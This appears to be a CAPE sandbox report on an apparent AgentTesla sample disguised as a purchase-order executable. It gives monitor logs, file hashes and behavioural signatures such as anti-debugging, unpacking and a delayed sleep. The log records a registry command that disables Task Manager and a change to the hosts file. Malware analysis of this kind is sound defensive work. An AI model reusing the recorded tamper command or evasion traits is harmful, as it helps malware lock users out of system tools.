2020-06-30 13:39:08,156 [root] DEBUG: Loader: Injecting process 464 (thread 0) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:08,156 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 13:39:08,171 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed, falling back to thread injection.
2020-06-30 13:39:08,203 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:39:08,234 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:39:08,249 [root] INFO: Disabling sleep skipping.
2020-06-30 13:39:08,265 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 464 at 0x6ac30000, image base 0x1e0000, stack from 0x856000-0x860000
2020-06-30 13:39:08,265 [root] DEBUG: Commandline: C:\Windows\System32\services.exe.
2020-06-30 13:39:08,281 [root] INFO: Loaded monitor into process with pid 464
2020-06-30 13:39:08,281 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2020-06-30 13:39:08,281 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2020-06-30 13:39:08,296 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:09,312 [root] INFO: Announced 32-bit process name: lsass.exe pid: 5704
2020-06-30 13:39:09,312 [lib.api.process] INFO: Monitor config for process 5704: C:\tmp2ylp3rhi\dll\5704.ini
2020-06-30 13:39:09,312 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:39:09,359 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:39:09,375 [root] DEBUG: Loader: Injecting process 5704 (thread 3076) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:09,375 [root] DEBUG: Process image base: 0x00AA0000
2020-06-30 13:39:09,375 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:09,406 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 13:39:09,406 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:09,406 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 5704
2020-06-30 13:39:09,437 [root] DEBUG: CreateProcessHandler: using lpCommandLine: C:\Windows\system32\lsass.exe.
2020-06-30 13:39:09,453 [root] DEBUG: CreateProcessHandler: Injection info set for new process 5704, ImageBase: 0x00AA0000
2020-06-30 13:39:09,453 [root] INFO: Announced 32-bit process name: lsass.exe pid: 5704
2020-06-30 13:39:09,453 [lib.api.process] INFO: Monitor config for process 5704: C:\tmp2ylp3rhi\dll\5704.ini
2020-06-30 13:39:09,453 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:39:09,468 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:39:09,468 [root] DEBUG: Loader: Injecting process 5704 (thread 3076) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:09,468 [root] DEBUG: Process image base: 0x00AA0000
2020-06-30 13:39:09,484 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:09,484 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-06-30 13:39:09,484 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:09,500 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 5704
2020-06-30 13:39:09,500 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 5704.
2020-06-30 13:39:09,515 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:39:09,515 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:39:09,531 [root] INFO: Disabling sleep skipping.
2020-06-30 13:39:09,531 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 13:39:09,546 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 5704 at 0x6ac30000, image base 0xaa0000, stack from 0xb6000-0xc0000
2020-06-30 13:39:09,546 [root] DEBUG: Commandline: C:\Windows\System32\lsass.exe.
2020-06-30 13:39:09,578 [root] INFO: Loaded monitor into process with pid 5704
2020-06-30 13:39:10,187 [root] DEBUG: DLL unloaded from 0x76E50000.
2020-06-30 13:39:18,281 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:39:18,296 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x3d8 amd local view 0x005F0000 to global list.
2020-06-30 13:39:18,296 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x3dc amd local view 0x00A50000 to global list.
2020-06-30 13:39:18,296 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x005F0000 for section view with handle 0x3dc.
2020-06-30 13:39:18,312 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x00A50000 for section view with handle 0x3d8.
2020-06-30 13:39:18,312 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x3b8 amd local view 0x005F0000 to global list.
2020-06-30 13:39:18,328 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x3d4 amd local view 0x005F0000 to global list.
2020-06-30 13:39:18,343 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:39:39,500 [root] INFO: Process with pid 5704 has terminated
2020-06-30 13:39:39,765 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x408 amd local view 0x63840000 to global list.
2020-06-30 13:39:39,765 [root] DEBUG: DLL loaded at 0x63840000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\a3abb36b9f9e867b09bb3a670b074c45\System.Xml.ni (0x73e000 bytes).
2020-06-30 13:39:45,796 [root] INFO: Added new file to list with pid None and path C:\Windows\System32\drivers\etc\hosts
2020-06-30 13:39:45,859 [root] INFO: Announced 32-bit process name: reg.exe pid: 1968
2020-06-30 13:39:45,859 [lib.api.process] INFO: Monitor config for process 1968: C:\tmp2ylp3rhi\dll\1968.ini
2020-06-30 13:39:45,875 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:39:45,890 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:39:45,890 [root] DEBUG: Loader: Injecting process 1968 (thread 900) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:45,906 [root] DEBUG: Process image base: 0x00080000
2020-06-30 13:39:45,906 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:45,906 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 13:39:45,921 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:45,921 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1968
2020-06-30 13:39:45,937 [root] DEBUG: DLL loaded at 0x75190000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-06-30 13:39:45,953 [root] DEBUG: CreateProcessHandler: using lpCommandLine: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System / v DisableTaskMgr / t REG_DWORD / d 1 / f.
2020-06-30 13:39:45,953 [root] DEBUG: CreateProcessHandler: Injection info set for new process 1968, ImageBase: 0x00080000
2020-06-30 13:39:45,953 [root] INFO: Announced 32-bit process name: reg.exe pid: 1968
2020-06-30 13:39:45,953 [lib.api.process] INFO: Monitor config for process 1968: C:\tmp2ylp3rhi\dll\1968.ini
2020-06-30 13:39:45,953 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:39:45,968 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:39:45,984 [root] DEBUG: Loader: Injecting process 1968 (thread 900) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:45,984 [root] DEBUG: Process image base: 0x00080000
2020-06-30 13:39:45,984 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:45,984 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-06-30 13:39:45,984 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:39:46,000 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1968
2020-06-30 13:39:46,093 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 13:39:46,093 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 13:39:46,109 [root] INFO: Disabling sleep skipping.
2020-06-30 13:39:46,109 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 13:39:46,125 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 1968 at 0x6ac30000, image base 0x80000, stack from 0x116000-0x120000
2020-06-30 13:39:46,125 [root] DEBUG: Commandline: C:\Users\Rebecca\AppData\Local\Temp\REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System \ v DisableTaskMgr \ t REG_DWORD \ d 1 \ f.
2020-06-30 13:39:46,125 [root] INFO: Loaded monitor into process with pid 1968
2020-06-30 13:39:46,140 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xbc amd local view 0x02850000 to global list.
2020-06-30 13:39:46,156 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x00070000 for section view with handle 0xbc.
2020-06-30 13:39:46,156 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 1968
2020-06-30 13:39:46,156 [root] DEBUG: GetHookCallerBase: thread 900 (handle 0x0), return address 0x00081CAD, allocation base 0x00080000.
2020-06-30 13:39:46,156 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x00080000.
2020-06-30 13:39:46,171 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-06-30 13:39:46,171 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00080000.
2020-06-30 13:39:46,171 [root] DEBUG: DumpProcess: Module entry point VA is 0x00001BCA.
2020-06-30 13:39:46,187 [root] DEBUG: DLL loaded at 0x751E0000: C:\Windows\system32\cryptbase (0xc000 bytes).
2020-06-30 13:39:46,234 [root] DEBUG: DumpProcess: Module image dump success - dump size 0xf400.
2020-06-30 13:39:46,234 [root] DEBUG: DLL unloaded from 0x76490000.
2020-06-30 13:39:46,234 [root] INFO: Process with pid 1968 has terminated
2020-06-30 13:39:53,140 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x2ac amd local view 0x69580000 to global list.
2020-06-30 13:40:13,453 [root] DEBUG: DLL unloaded from 0x77050000.
2020-06-30 13:40:13,718 [root] INFO: Announced 32-bit process name: GoogleUpdate.exe pid: 3512
2020-06-30 13:40:13,718 [lib.api.process] INFO: Monitor config for process 3512: C:\tmp2ylp3rhi\dll\3512.ini
2020-06-30 13:40:18,562 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:40:20,375 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ylp3rhi\dll\MrteZUMC.dll, loader C:\tmp2ylp3rhi\bin\gDwZxKi.exe
2020-06-30 13:40:24,359 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4444.
2020-06-30 13:40:26,421 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\EFVHgZFFC.
2020-06-30 13:40:28,468 [root] DEBUG: Loader: Injecting process 3512 (thread 3020) with C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:40:28,687 [root] DEBUG: Process image base: 0x00D20000
2020-06-30 13:40:28,687 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:40:28,687 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 13:40:28,687 [root] DEBUG: Successfully injected DLL C:\tmp2ylp3rhi\dll\MrteZUMC.dll.
2020-06-30 13:40:28,812 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 3512
2020-06-30 13:40:28,937 [root] DEBUG: CreateProcessHandler: using lpCommandLine: "C:\Program Files\Google\Update\GoogleUpdate.exe" /svc.
2020-06-30 13:40:28,984 [root] INFO: Disabling sleep skipping.
2020-06-30 13:40:29,125 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 13:40:29,125 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 3512 at 0x6ac30000, image base 0xd20000, stack from 0x316000-0x320000
2020-06-30 13:40:29,249 [root] DEBUG: Commandline: C:\Windows\System32\"C:\Program Files\Google\Update\GoogleUpdate.exe" \svc.
2020-06-30 13:40:29,296 [root] INFO: Loaded monitor into process with pid 3512
2020-06-30 13:40:29,296 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd4 amd local view 0x67670000 to global list.
2020-06-30 13:40:29,343 [root] DEBUG: DLL loaded at 0x67670000: C:\Program Files\Google\Update\1.3.35.451\goopdate (0x1c6000 bytes).
2020-06-30 13:40:29,484 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xd0 amd local view 0x763D0000 to global list.
2020-06-30 13:40:29,750 [root] DEBUG: DLL loaded at 0x73FC0000: C:\Windows\system32\ntmarta (0x21000 bytes).
2020-06-30 13:40:29,859 [root] DEBUG: DLL unloaded from 0x77050000.
2020-06-30 13:40:29,921 [root] DEBUG: DLL loaded at 0x67580000: C:\Windows\system32\dbghelp (0xeb000 bytes).
2020-06-30 13:40:30,031 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x180 amd local view 0x001E0000 to global list.
2020-06-30 13:40:30,359 [root] DEBUG: ResumeThreadHandler: CurrentInjectionInfo 0x0 (Pid 3512).
2020-06-30 13:40:56,312 [root] DEBUG: DLL loaded at 0x77450000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2020-06-30 13:40:56,359 [root] DEBUG: DLL loaded at 0x74CB0000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-06-30 13:41:02,406 [root] DEBUG: DLL unloaded from 0x67670000.
2020-06-30 13:41:02,687 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x218 amd local view 0x6B6E0000 to global list.
2020-06-30 13:41:07,734 [root] DEBUG: DLL loaded at 0x6B6E0000: C:\Program Files\Google\Update\1.3.35.451\psmachine (0x42000 bytes).
2020-06-30 13:41:14,406 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 4736, handle 0x230.
2020-06-30 13:41:14,406 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
2020-06-30 13:41:14,656 [root] DEBUG: DLL unloaded from 0x772A0000.
2020-06-30 13:41:14,703 [root] DEBUG: DLL unloaded from 0x00D20000.
2020-06-30 13:41:14,812 [root] DEBUG: DLL loaded at 0x68D70000: C:\Windows\System32\msxml3 (0x134000 bytes).
2020-06-30 13:41:16,203 [root] INFO: Analysis timeout hit, terminating analysis.
2020-06-30 13:41:16,203 [lib.api.process] INFO: Terminate event set for process 4444
2020-06-30 13:41:21,203 [lib.api.process] INFO: Termination confirmed for process 4444
2020-06-30 13:41:21,203 [root] INFO: Terminate event set for process 4444.
2020-06-30 13:41:21,203 [lib.api.process] INFO: Terminate event set for process 584
2020-06-30 13:41:26,203 [lib.api.process] INFO: Termination confirmed for process 584
2020-06-30 13:41:26,203 [root] INFO: Terminate event set for process 584.
2020-06-30 13:41:26,203 [lib.api.process] INFO: Terminate event set for process 4156
2020-06-30 13:41:26,343 [root] DEBUG: DLL loaded at 0x74E00000: C:\Windows\System32\bcrypt (0x17000 bytes).
2020-06-30 13:41:26,421 [lib.api.process] INFO: Termination confirmed for process 4156
2020-06-30 13:41:26,421 [root] INFO: Terminate event set for process 4156.
2020-06-30 13:41:26,421 [lib.api.process] INFO: Terminate event set for process 464
2020-06-30 13:41:31,421 [lib.api.process] INFO: Termination confirmed for process 464
2020-06-30 13:41:31,421 [root] INFO: Terminate event set for process 464.
2020-06-30 13:41:31,421 [lib.api.process] INFO: Terminate event set for process 3512
2020-06-30 13:41:32,359 [root] DEBUG: DLL loaded at 0x749B0000: C:\Windows\system32\credssp (0x8000 bytes).
2020-06-30 13:41:32,406 [root] DEBUG: DLL loaded at 0x73460000: C:\Windows\system32\dhcpcsvc (0x12000 bytes).
2020-06-30 13:41:32,421 [root] DEBUG: DLL unloaded from 0x772A0000.
2020-06-30 13:41:32,437 [root] DEBUG: DLL loaded at 0x75310000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2020-06-30 13:41:32,484 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x23400.
2020-06-30 13:41:32,484 [lib.api.process] INFO: Termination confirmed for process 3512
2020-06-30 13:41:32,484 [root] INFO: Terminate event set for process 3512.
2020-06-30 13:41:32,484 [root] INFO: Created shutdown mutex.
2020-06-30 13:41:32,484 [root] DEBUG: Terminate Event: CAPE shutdown complete for process 3512
2020-06-30 13:41:32,500 [root] DEBUG: DLL loaded at 0x74C70000: C:\Windows\system32\mswsock (0x3c000 bytes).
2020-06-30 13:41:32,500 [root] DEBUG: DLL loaded at 0x747F0000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2020-06-30 13:41:32,500 [root] DEBUG: DLL loaded at 0x74C60000: C:\Windows\System32\wship6 (0x6000 bytes).
2020-06-30 13:41:32,531 [root] DEBUG: DLL unloaded from 0x6EF10000.
2020-06-30 13:41:32,718 [root] DEBUG: DLL loaded at 0x74B30000: C:\Windows\system32\DNSAPI (0x44000 bytes).
2020-06-30 13:41:33,484 [root] INFO: Shutting down package.
2020-06-30 13:41:33,484 [root] INFO: Stopping auxiliary modules.
2020-06-30 13:41:38,109 [root] DEBUG: DLL loaded at 0x73A20000: C:\Windows\system32\NLAapi (0x10000 bytes).
2020-06-30 13:41:38,218 [root] DEBUG: DLL loaded at 0x6D4E0000: C:\Windows\system32\napinsp (0x10000 bytes).
2020-06-30 13:41:38,375 [root] DEBUG: DLL loaded at 0x6D350000: C:\Windows\system32\pnrpnsp (0x12000 bytes).
2020-06-30 13:41:38,406 [root] DEBUG: DLL loaded at 0x6D340000: C:\Windows\System32\winrnr (0x8000 bytes).
2020-06-30 13:41:38,406 [root] DEBUG: DLL loaded at 0x718F0000: C:\Windows\system32\rasadhlp (0x6000 bytes).
2020-06-30 13:41:38,406 [root] DEBUG: DLL loaded at 0x73690000: C:\Windows\System32\fwpuclnt (0x38000 bytes).
2020-06-30 13:41:38,437 [lib.common.results] WARNING: File C:\uAVdDIDye\bin\procmon.xml doesn't exist anymore
2020-06-30 13:41:38,437 [root] INFO: Finishing auxiliary modules.
2020-06-30 13:41:38,437 [root] INFO: Shutting down pipe server and dumping dropped files.
2020-06-30 13:41:38,453 [root] WARNING: Folder at path "C:\uAVdDIDye\debugger" does not exist, skip.
2020-06-30 13:41:38,468 [root] INFO: Analysis completed.

Machine

Name Label Manager Started On Shutdown On
win7_2 win7_2 KVM 2020-06-30 13:49:00 2020-06-30 13:54:15

File Details

File Name POs 097663899 NEW ORDER.r.exe
File Size 409088 bytes
File Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
PE timestamp 2020-06-30 04:33:23
MD5 610a2a3c8ff25649bb8d64f028d657fe
SHA1 939d2ffc7e123a061c3ecae244f618f2303c8d29
SHA256 eea3d6de7952101ff57da6f48ea85ecdbaf71bf5027d0d20478021d842a21101
SHA512 2d0ab260a7bb2a04a6bb40b68b8d67f8444eaee650d5204b1dd92b2541e4241085cb01e802a73c9d6bc41af33c1b7591b5736bcc0253c247964e2c53ed7c62ba
CRC32 1A25606A
Ssdeep 12288:YA6MeiPlU2kdauvDcv31x5FaVV24PzBjZh5g:YA6MeilU2HuvDu1HUVV24P1jy
Download Download ZIP Resubmit sample

Signatures

SetUnhandledExceptionFilter detected (possible anti-debug)
Behavioural detection: Executable code extraction - unpacking
Yara rule detections observed from a process memory dump/dropped files/CAPE
Hit: PID 4436 trigged the Yara rule 'AgentTeslaV2'
Creates RWX memory
Guard pages use detected - possible anti-debugging.
A process attempted to delay the analysis task.
Process: RegSvcs.exe tried to sleep 547.944 seconds, actually delayed analysis time by 0.0 seconds
Dynamic (imported) function loading detected
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: MSCOREE.DLL/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/_CorExeMain_RetAddr
DynamicLoader: mscoreei.dll/_CorExeMain
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
DynamicLoader: VERSION.dll/GetFileVersionInfoW
DynamicLoader: VERSION.dll/VerQueryValueW
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/InitializeCriticalSectionEx
DynamicLoader: KERNEL32.dll/CreateEventExW
DynamicLoader: KERNEL32.dll/CreateSemaphoreExW
DynamicLoader: KERNEL32.dll/SetThreadStackGuarantee
DynamicLoader: KERNEL32.dll/CreateThreadpoolTimer
DynamicLoader: KERNEL32.dll/SetThreadpoolTimer
DynamicLoader: KERNEL32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: KERNEL32.dll/CloseThreadpoolTimer
DynamicLoader: KERNEL32.dll/CreateThreadpoolWait
DynamicLoader: KERNEL32.dll/SetThreadpoolWait
DynamicLoader: KERNEL32.dll/CloseThreadpoolWait
DynamicLoader: KERNEL32.dll/FlushProcessWriteBuffers
DynamicLoader: KERNEL32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: KERNEL32.dll/GetCurrentProcessorNumber
DynamicLoader: KERNEL32.dll/GetLogicalProcessorInformation
DynamicLoader: KERNEL32.dll/CreateSymbolicLinkW
DynamicLoader: KERNEL32.dll/SetDefaultDllDirectories
DynamicLoader: KERNEL32.dll/EnumSystemLocalesEx
DynamicLoader: KERNEL32.dll/CompareStringEx
DynamicLoader: KERNEL32.dll/GetDateFormatEx
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/GetTimeFormatEx
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/IsValidLocaleName
DynamicLoader: KERNEL32.dll/LCMapStringEx
DynamicLoader: KERNEL32.dll/GetCurrentPackageId
DynamicLoader: KERNEL32.dll/GetTickCount64
DynamicLoader: KERNEL32.dll/GetFileInformationByHandleExW
DynamicLoader: KERNEL32.dll/SetFileInformationByHandleW
DynamicLoader: ADVAPI32.dll/EventSetInformation
DynamicLoader: clr.dll/SetRuntimeInfo
DynamicLoader: USER32.dll/GetProcessWindowStation
DynamicLoader: USER32.dll/GetUserObjectInformationW
DynamicLoader: clr.dll/_CorExeMain
DynamicLoader: KERNEL32.dll/AcquireSRWLockExclusive
DynamicLoader: KERNEL32.dll/ReleaseSRWLockExclusive
DynamicLoader: MSCOREE.DLL/CreateConfigStream
DynamicLoader: mscoreei.dll/CreateConfigStream_RetAddr
DynamicLoader: mscoreei.dll/CreateConfigStream
DynamicLoader: KERNEL32.dll/GetNumaHighestNodeNumber
DynamicLoader: KERNEL32.dll/FlsSetValue
DynamicLoader: KERNEL32.dll/FlsGetValue
DynamicLoader: KERNEL32.dll/FlsAlloc
DynamicLoader: KERNEL32.dll/FlsFree
DynamicLoader: KERNEL32.dll/GetSystemWindowsDirectoryW
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: KERNEL32.dll/AddSIDToBoundaryDescriptor
DynamicLoader: KERNEL32.dll/CreateBoundaryDescriptorW
DynamicLoader: KERNEL32.dll/CreatePrivateNamespaceW
DynamicLoader: KERNEL32.dll/OpenPrivateNamespaceW
DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
DynamicLoader: ADVAPI32.dll/OpenProcessToken
DynamicLoader: ADVAPI32.dll/GetTokenInformation
DynamicLoader: ADVAPI32.dll/InitializeAcl
DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
DynamicLoader: ADVAPI32.dll/FreeSid
DynamicLoader: KERNEL32.dll/DeleteBoundaryDescriptor
DynamicLoader: KERNEL32.dll/WerRegisterRuntimeExceptionModule
DynamicLoader: KERNEL32.dll/RaiseException
DynamicLoader: MSCOREE.DLL/
DynamicLoader: mscoreei.dll/
DynamicLoader: KERNELBASE.dll/SetSystemFileCacheSize
DynamicLoader: ntdll.dll/NtSetSystemInformation
DynamicLoader: KERNELBASE.dll/PrivIsDllSynchronizationHeld
DynamicLoader: KERNEL32.dll/AddDllDirectory
DynamicLoader: KERNEL32.dll/SortGetHandle
DynamicLoader: KERNEL32.dll/SortCloseHandle
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoGetContextToken
DynamicLoader: clrjit.dll/sxsJitStartup
DynamicLoader: clrjit.dll/jitStartup
DynamicLoader: clrjit.dll/getJit
DynamicLoader: KERNEL32.dll/GetLocaleInfoEx
DynamicLoader: KERNEL32.dll/LocaleNameToLCID
DynamicLoader: KERNEL32.dll/GetUserDefaultLocaleName
DynamicLoader: KERNEL32.dll/LCIDToLocaleName
